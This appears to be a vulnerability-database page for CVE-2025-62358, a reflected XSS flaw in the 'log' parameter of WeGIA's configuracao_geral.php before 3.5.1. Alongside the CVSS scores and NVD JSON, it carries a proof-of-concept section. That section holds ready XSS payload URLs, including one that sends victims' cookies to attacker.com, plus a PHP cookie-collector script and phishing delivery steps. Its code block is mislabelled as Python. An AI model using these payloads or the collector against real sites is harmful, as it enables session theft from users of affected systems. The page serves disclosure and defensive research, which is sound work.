Security Vulnerability Report
中文
CVE-2025-62358 CVSS 5.4 MEDIUM

CVE-2025-62358

Published: 2025-10-13 22:15:33
Last Modified: 2025-10-20 16:02:21

Description

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Prior to 3.5.1, the log parameter in configuracao_geral.php is vulnerable to Reflected Cross-Site Scripting (XSS). An attacker can inject arbitrary JavaScript, which executes in the victim’s browser. This vulnerability is fixed in 3.5.1.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:* - VULNERABLE
WeGIA < 3.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62358: WeGIA Reflected XSS PoC --> <!-- Attack vector: Reflected XSS via 'log' parameter in configuracao_geral.php --> <!-- Target: WeGIA versions prior to 3.5.1 --> <!-- Step 1: Craft malicious URL with XSS payload in the 'log' parameter --> <!-- Example payload to steal session cookie --> https://target-wegia-host/configuracao_geral.php?log=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> <!-- Alternative payload using img tag onerror event --> https://target-wegia-host/configuracao_geral.php?log=<img src=x onerror=alert(document.cookie)> <!-- Alternative payload using SVG onload event --> https://target-wegia-host/configuracao_geral.php?log=<svg/onload=alert('XSS')> <!-- Step 2: Deliver the malicious URL to the victim via phishing email, IM, etc. --> <!-- Step 3: When victim clicks the link, the JavaScript executes in their browser context --> <!-- Step 4: Attacker's server (e.g., steal.php) receives the stolen cookie --> <?php // Example attacker-side cookie collector (steal.php) // This file would be hosted on the attacker's server /* $cookie = $_GET['cookie']; $log_file = 'stolen_cookies.txt'; file_put_contents($log_file, $cookie . "\n", FILE_APPEND); header('Location: https://legitimate-site.com'); */ ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62358", "sourceIdentifier": "[email protected]", "published": "2025-10-13T22:15:33.057", "lastModified": "2025-10-20T16:02:20.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Prior to 3.5.1, the log parameter in configuracao_geral.php is vulnerable to Reflected Cross-Site Scripting (XSS). An attacker can inject arbitrary JavaScript, which executes in the victim’s browser. This vulnerability is fixed in 3.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.1", "matchCriteriaId": "0380F435-A37D-48F3-87E5-A2648574EDC0"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/commit/eddb9b134883cac5d0de770bfcca6e05bfcbd684", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-g6hr-2rhx-f8q4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}